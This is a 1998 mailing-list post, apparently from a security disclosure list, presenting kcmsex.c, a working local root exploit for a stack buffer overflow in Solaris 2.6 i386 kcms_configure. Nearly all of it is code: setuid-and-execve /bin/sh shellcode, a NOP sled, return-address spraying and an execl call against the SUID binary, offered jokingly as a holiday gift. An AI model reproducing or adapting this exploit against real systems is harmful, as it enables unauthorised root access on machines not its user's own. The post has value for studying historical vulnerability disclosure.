On Fri, 18 Dec 1998, Dr. Mudge wrote:
> Now let's see... where did we stash those exploits that we were going to
> give out as stocking stuffers... hrmmm.
While our good friend Mudge rummages about in his bag of Christmas
goodies searching for a tasty snippet, I thought I would offer a small
gift myself, lest I be considered the Grinch who stole Christmas. If
anyone's ever deserved coal in their stockings, it's the readers of this
list! But I digress. Your gift this year? Straight from my kitchen to
your keyboard -- and much better than any fruitcake -- it's ... root on
everyone's favorite OS! What else? Solaris!
It seems Sun's engineers indulged in a little too much "holiday cheer" in
years past, and plumb forgot their good coding practices for privileged
programs. Yes readers, sprintf() and stack buffers in SUID root programs
are a deadly cocktail. This holiday season use a designated coder, and
remember, sprintf() and SUID root don't mix. So go ahead, snuggle up near
a cozy fireplace, smash that UID of yours to 0, and be sure to send Sun a
Christmas card next year. Now wouldn't you much rather have this than
a new pair of socks from your aunt? I knew you did.
Yours truly, ol' Saint Nick himself,
Cheez Whiz
cheezbeastat_private
kcmsex.c (a SPARC exploit is left as an exercise to the reader)
----- cut here ----- cut here ----- cut here ----- cut here -----
/**
*** kcmsex - i386 Solaris root exploit for /usr/openwin/bin/kcms_configure
***
*** Tested and confirmed under Solaris 2.6 i386
***
*** Usage: % kcmsex [offset]
***
*** where offset (if present) is the number of bytes to add to the stack
*** pointer to calculate your target return address; try -1000 to 1000 in
*** increments of 100 for starters. Thanks go to Sun for cranking out
*** such sloppy privileged code. Keep those holes a coming, boys!
***
*** Cheez Whiz
*** cheezbeastat_private
***
*** December 17, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 500
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x3b" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xc1" /* movl %eax,-0x3f(%esi) */
/* 16 */ "\x88\x46\xc6" /* movb %al,-0x3a(%esi) */
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* setuid: */
/* 25 */ "\x31\xc0" /* xor %eax,%eax */
/* 27 */ "\x50" /* pushl %eax */
/* 28 */ "\xb0\x17" /* movb $0x17,%al */
/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* execve: */
/* 38 */ "\x31\xc0" /* xor %eax,%eax */
/* 40 */ "\x50" /* pushl %eax */
/* 41 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 44 */ "\x53" /* pushl %ebx */
/* 45 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 47 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 50 */ "\x53" /* pushl %ebx */
/* 51 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 53 */ "\xe8\xc8\xff\xff\xff" /* call syscall */
/* 58 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 61 */ "\xe8\xc8\xff\xff\xff" /* call start */
/* data: */
/* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 74 */ "\xff\xff\xff\xff" /* DATA */
/* 78 */ "\xff\xff\xff\xff"; /* DATA */
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}
void
main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 285;
esp = get_esp();
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
esp+offset, esp, offset, nop);
execl("/usr/openwin/bin/kcms_configure", "kcms_configure", "-P", buf,
"foofoo", NULL);
printf("exec failed!\n");
return;
}
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